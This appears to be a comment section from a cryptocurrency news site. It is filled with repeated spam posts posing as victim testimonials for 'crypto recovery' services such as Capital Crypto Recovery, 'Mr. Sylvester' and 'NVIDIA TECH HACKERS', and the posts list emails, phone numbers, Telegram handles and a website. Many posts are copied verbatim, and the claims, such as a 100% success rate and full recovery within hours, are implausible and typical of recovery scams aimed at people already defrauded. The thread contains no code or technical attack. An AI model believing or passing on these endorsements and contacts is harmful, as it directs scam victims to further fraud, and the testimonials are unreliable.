Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1
-
09.10.25 11:05
marcushenderson624
Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1
-
09.10.25 11:05
marcushenderson624
Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1
-
09.10.25 11:05
marcushenderson624
Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1
-
11.10.25 04:41
luciajessy3
Don’t be deceived by different testimonies online that is most likely wrong. I have made use of several recovery options that got me disappointed at the end of the day but I must confess that the tech genius I eventually found is the best out here. It’s better you devise your time to find the valid professional that can help you recover your stolen or lost crypto such as bitcoins rather than falling victim of other amateur hackers that cannot get the job done. ADAMWILSON . TRADING @ CONSULTANT COM / WHATSAPP ; +1 (603) 702 ( 4335 ) is the most reliable and authentic blockchain tech expert you can work with to recover what you lost to scammers. They helped me get back on my feet and I’m very grateful for that. Contact their email today to recover your lost coins ASAP…
-
11.10.25 10:44
Tonerdomark
A thief took my Dogecoin and wrecked my life. Then Mr. Sylvester stepped in and changed everything. He got back €211,000 for me, every single cent of my gains. His calm confidence and strong tech skills rebuilt my trust. Thanks to him, I recovered my cash with no issues. After months of stress, I felt huge relief. I had full faith in him. If a scam stole your money, reach out to him today at { yt7cracker@gmail . com } His help sparked my full turnaround.
-
12.10.25 01:12
harristhomas7376
"In the crypto world, this is great news I want to share. Last year, I fell victim to a scam disguised as a safe investment option. I have invested in crypto trading platforms for about 10yrs thinking I was ensuring myself a retirement income, only to find that all my assets were either frozen, I believed my assets were secure — until I discovered that my BTC funds had been frozen and withdrawals were impossible. It was a devastating moment when I realized I had been scammed, and I thought my Bitcoin was gone forever, Everything changed when a close friend recommended the Capital Crypto Recover Service. Their professionalism, expertise, and dedication enabled me to recover my lost Bitcoin funds back — more than €560.000 DEM to my BTC wallet. What once felt impossible became a reality thanks to their support. If you have lost Bitcoin through scams, hacking, failed withdrawals, or similar challenges, don’t lose hope. I strongly recommend Capital Crypto Recover Service to anyone seeking a reliable and effective solution for recovering any wallet assets. They have a proven track record of successful reputation in recovering lost password assets for their clients and can help you navigate the process of recovering your funds. Don’t let scammers get away with your hard-earned money – contact Email: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Contact: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1
-
12.10.25 01:12
harristhomas7376
"In the crypto world, this is great news I want to share. Last year, I fell victim to a scam disguised as a safe investment option. I have invested in crypto trading platforms for about 10yrs thinking I was ensuring myself a retirement income, only to find that all my assets were either frozen, I believed my assets were secure — until I discovered that my BTC funds had been frozen and withdrawals were impossible. It was a devastating moment when I realized I had been scammed, and I thought my Bitcoin was gone forever, Everything changed when a close friend recommended the Capital Crypto Recover Service. Their professionalism, expertise, and dedication enabled me to recover my lost Bitcoin funds back — more than €560.000 DEM to my BTC wallet. What once felt impossible became a reality thanks to their support. If you have lost Bitcoin through scams, hacking, failed withdrawals, or similar challenges, don’t lose hope. I strongly recommend Capital Crypto Recover Service to anyone seeking a reliable and effective solution for recovering any wallet assets. They have a proven track record of successful reputation in recovering lost password assets for their clients and can help you navigate the process of recovering your funds. Don’t let scammers get away with your hard-earned money – contact Email: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Contact: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1
-
12.10.25 19:53
Tonerdomark
A crook swiped my Dogecoin. It ruined my whole world. Then Mr. Sylvester showed up. He fixed it all. He pulled back €211,000 for me. Not one cent missing from my profits. His steady cool and sharp tech know-how won back my trust. I got my money smooth and sound. After endless worry, relief hit me hard. I trusted him completely. Lost cash to a scam? Hit him up now at { yt7cracker@gmail . com }. His aid turned my life around. WhatsApp at +1 512 577 7957.
-
12.10.25 21:36
blessing
Writing this review is a joy. Marie has provided excellent service ever since I started working with her in early 2018. I was worried I wouldn't be able to get my coins back after they were stolen by hackers. I had no idea where to begin, therefore it was a nightmare for me. However, things became easier for me after my friend sent me to [email protected] and +1 7127594675 on WhatsApp. I'm happy that she was able to retrieve my bitcoin so that I could resume trading.
-
13.10.25 01:11
elizabethrush89
God bless Capital Crypto Recover Services for the marvelous work you did in my life, I have learned the hard way that even the most sensible investors can fall victim to scams. When my USD was stolen, for anyone who has fallen victim to one of the bitcoin binary investment scams that are currently ongoing, I felt betrayal and upset. But then I was reading a post on site when I saw a testimony of Wendy Taylor online who recommended that Capital Crypto Recovery has helped her recover scammed funds within 24 hours. after reaching out to this cyber security firm that was able to help me recover my stolen digital assets and bitcoin. I’m genuinely blown away by their amazing service and professionalism. I never imagined I’d be able to get my money back until I complained to Capital Crypto Recovery Services about my difficulties and gave all of the necessary paperwork. I was astounded that it took them 12 hours to reclaim my stolen money back. Without a doubt, my USDT assets were successfully recovered from the scam platform, Thank you so much Sir, I strongly recommend Capital Crypto Recover for any of your bitcoin recovery, digital funds recovery, hacking, and cybersecurity concerns. You reach them Call/Text Number +1 (336)390-6684 His Email: [email protected] Contact Telegram: @Capitalcryptorecover Via Contact: [email protected] His website: https://recovercapital.wixsite.com/capital-crypto-rec-1
-
13.10.25 01:11
elizabethrush89
God bless Capital Crypto Recover Services for the marvelous work you did in my life, I have learned the hard way that even the most sensible investors can fall victim to scams. When my USD was stolen, for anyone who has fallen victim to one of the bitcoin binary investment scams that are currently ongoing, I felt betrayal and upset. But then I was reading a post on site when I saw a testimony of Wendy Taylor online who recommended that Capital Crypto Recovery has helped her recover scammed funds within 24 hours. after reaching out to this cyber security firm that was able to help me recover my stolen digital assets and bitcoin. I’m genuinely blown away by their amazing service and professionalism. I never imagined I’d be able to get my money back until I complained to Capital Crypto Recovery Services about my difficulties and gave all of the necessary paperwork. I was astounded that it took them 12 hours to reclaim my stolen money back. Without a doubt, my USDT assets were successfully recovered from the scam platform, Thank you so much Sir, I strongly recommend Capital Crypto Recover for any of your bitcoin recovery, digital funds recovery, hacking, and cybersecurity concerns. You reach them Call/Text Number +1 (336)390-6684 His Email: [email protected] Contact Telegram: @Capitalcryptorecover Via Contact: [email protected] His website: https://recovercapital.wixsite.com/capital-crypto-rec-1
-
14.10.25 01:15
tyleradams
Hi. Please be wise, do not make the same mistake I had made in the past, I was a victim of bitcoin scam, I saw a glamorous review showering praises and marketing an investment firm, I reached out to them on what their contracts are, and I invested $28,000, which I was promised to get my first 15% profit in weeks, when it’s time to get my profits, I got to know the company was bogus, they kept asking me to invest more and I ran out of patience then requested to have my money back, they refused to answer nor refund my funds, not until a friend of mine introduced me to the NVIDIA TECH HACKERS, so I reached out and after tabling my complaints, they were swift to action and within 36 hours I got back my funds with the due profit. I couldn’t contain the joy in me. I urge you guys to reach out to NVIDIA TECH HACKERS on their email: [email protected]
-
14.10.25 08:46
robertalfred175
CRYPTO SCAM RECOVERY SUCCESSFUL – A TESTIMONIAL OF LOST PASSWORD TO YOUR DIGITAL WALLET BACK. My name is Robert Alfred, Am from Australia. I’m sharing my experience in the hope that it helps others who have been victims of crypto scams. A few months ago, I fell victim to a fraudulent crypto investment scheme linked to a broker company. I had invested heavily during a time when Bitcoin prices were rising, thinking it was a good opportunity. Unfortunately, I was scammed out of $120,000 AUD and the broker denied me access to my digital wallet and assets. It was a devastating experience that caused many sleepless nights. Crypto scams are increasingly common and often involve fake trading platforms, phishing attacks, and misleading investment opportunities. In my desperation, a friend from the crypto community recommended Capital Crypto Recovery Service, known for helping victims recover lost or stolen funds. After doing some research and reading multiple positive reviews, I reached out to Capital Crypto Recovery. I provided all the necessary information—wallet addresses, transaction history, and communication logs. Their expert team responded immediately and began investigating. Using advanced blockchain tracking techniques, they were able to trace the stolen Dogecoin, identify the scammer’s wallet, and coordinate with relevant authorities to freeze the funds before they could be moved. Incredibly, within 24 hours, Capital Crypto Recovery successfully recovered the majority of my stolen crypto assets. I was beyond relieved and truly grateful. Their professionalism, transparency, and constant communication throughout the process gave me hope during a very difficult time. If you’ve been a victim of a crypto scam, I highly recommend them with full confidence contacting: 📧 Email: [email protected] 📱 Telegram: @Capitalcryptorecover Contact: [email protected] 📞 Call/Text: +1 (336) 390-6684 🌐 Website: https://recovercapital.wixsite.com/capital-crypto-rec-1
-
14.10.25 08:46
robertalfred175
CRYPTO SCAM RECOVERY SUCCESSFUL – A TESTIMONIAL OF LOST PASSWORD TO YOUR DIGITAL WALLET BACK. My name is Robert Alfred, Am from Australia. I’m sharing my experience in the hope that it helps others who have been victims of crypto scams. A few months ago, I fell victim to a fraudulent crypto investment scheme linked to a broker company. I had invested heavily during a time when Bitcoin prices were rising, thinking it was a good opportunity. Unfortunately, I was scammed out of $120,000 AUD and the broker denied me access to my digital wallet and assets. It was a devastating experience that caused many sleepless nights. Crypto scams are increasingly common and often involve fake trading platforms, phishing attacks, and misleading investment opportunities. In my desperation, a friend from the crypto community recommended Capital Crypto Recovery Service, known for helping victims recover lost or stolen funds. After doing some research and reading multiple positive reviews, I reached out to Capital Crypto Recovery. I provided all the necessary information—wallet addresses, transaction history, and communication logs. Their expert team responded immediately and began investigating. Using advanced blockchain tracking techniques, they were able to trace the stolen Dogecoin, identify the scammer’s wallet, and coordinate with relevant authorities to freeze the funds before they could be moved. Incredibly, within 24 hours, Capital Crypto Recovery successfully recovered the majority of my stolen crypto assets. I was beyond relieved and truly grateful. Their professionalism, transparency, and constant communication throughout the process gave me hope during a very difficult time. If you’ve been a victim of a crypto scam, I highly recommend them with full confidence contacting: 📧 Email: [email protected] 📱 Telegram: @Capitalcryptorecover Contact: [email protected] 📞 Call/Text: +1 (336) 390-6684 🌐 Website: https://recovercapital.wixsite.com/capital-crypto-rec-1
-
14.10.25 08:46
robertalfred175
CRYPTO SCAM RECOVERY SUCCESSFUL – A TESTIMONIAL OF LOST PASSWORD TO YOUR DIGITAL WALLET BACK. My name is Robert Alfred, Am from Australia. I’m sharing my experience in the hope that it helps others who have been victims of crypto scams. A few months ago, I fell victim to a fraudulent crypto investment scheme linked to a broker company. I had invested heavily during a time when Bitcoin prices were rising, thinking it was a good opportunity. Unfortunately, I was scammed out of $120,000 AUD and the broker denied me access to my digital wallet and assets. It was a devastating experience that caused many sleepless nights. Crypto scams are increasingly common and often involve fake trading platforms, phishing attacks, and misleading investment opportunities. In my desperation, a friend from the crypto community recommended Capital Crypto Recovery Service, known for helping victims recover lost or stolen funds. After doing some research and reading multiple positive reviews, I reached out to Capital Crypto Recovery. I provided all the necessary information—wallet addresses, transaction history, and communication logs. Their expert team responded immediately and began investigating. Using advanced blockchain tracking techniques, they were able to trace the stolen Dogecoin, identify the scammer’s wallet, and coordinate with relevant authorities to freeze the funds before they could be moved. Incredibly, within 24 hours, Capital Crypto Recovery successfully recovered the majority of my stolen crypto assets. I was beyond relieved and truly grateful. Their professionalism, transparency, and constant communication throughout the process gave me hope during a very difficult time. If you’ve been a victim of a crypto scam, I highly recommend them with full confidence contacting: 📧 Email: [email protected] 📱 Telegram: @Capitalcryptorecover Contact: [email protected] 📞 Call/Text: +1 (336) 390-6684 🌐 Website: https://recovercapital.wixsite.com/capital-crypto-rec-1
-
15.10.25 18:07
crypto
Cryptocurrency's digital realm presents many opportunities, but it also conceals complex frauds. It is quite painful to lose your cryptocurrency to scam. You can feel harassed and lost as a result. If you have been the victim of a cryptocurrency scam, this guide explains what to do ASAP. Following these procedures will help you avoid further issues or get your money back. Communication with Marie ([email protected] and WhatsApp: +1 7127594675) can make all the difference.
-
15.10.25 21:52
harristhomas7376
"In the crypto world, this is great news I want to share. Last year, I fell victim to a scam disguised as a safe investment option. I have invested in crypto trading platforms for about 10yrs thinking I was ensuring myself a retirement income, only to find that all my assets were either frozen, I believed my assets were secure — until I discovered that my BTC funds had been frozen and withdrawals were impossible. It was a devastating moment when I realized I had been scammed, and I thought my Bitcoin was gone forever, Everything changed when a close friend recommended the Capital Crypto Recover Service. Their professionalism, expertise, and dedication enabled me to recover my lost Bitcoin funds back — more than €560.000 DEM to my BTC wallet. What once felt impossible became a reality thanks to their support. If you have lost Bitcoin through scams, hacking, failed withdrawals, or similar challenges, don’t lose hope. I strongly recommend Capital Crypto Recover Service to anyone seeking a reliable and effective solution for recovering any wallet assets. They have a proven track record of successful reputation in recovering lost password assets for their clients and can help you navigate the process of recovering your funds. Don’t let scammers get away with your hard-earned money – contact Email: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Contact: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1
-
15.10.25 21:52
harristhomas7376
"In the crypto world, this is great news I want to share. Last year, I fell victim to a scam disguised as a safe investment option. I have invested in crypto trading platforms for about 10yrs thinking I was ensuring myself a retirement income, only to find that all my assets were either frozen, I believed my assets were secure — until I discovered that my BTC funds had been frozen and withdrawals were impossible. It was a devastating moment when I realized I had been scammed, and I thought my Bitcoin was gone forever, Everything changed when a close friend recommended the Capital Crypto Recover Service. Their professionalism, expertise, and dedication enabled me to recover my lost Bitcoin funds back — more than €560.000 DEM to my BTC wallet. What once felt impossible became a reality thanks to their support. If you have lost Bitcoin through scams, hacking, failed withdrawals, or similar challenges, don’t lose hope. I strongly recommend Capital Crypto Recover Service to anyone seeking a reliable and effective solution for recovering any wallet assets. They have a proven track record of successful reputation in recovering lost password assets for their clients and can help you navigate the process of recovering your funds. Don’t let scammers get away with your hard-earned money – contact Email: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Contact: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1
Для участия в Чате вам необходим бесплатный аккаунт pro-blockchain.com
Войти
Регистрация
Похожие новости
Подпишись на telegram канал и узнавай первым обо всех новостях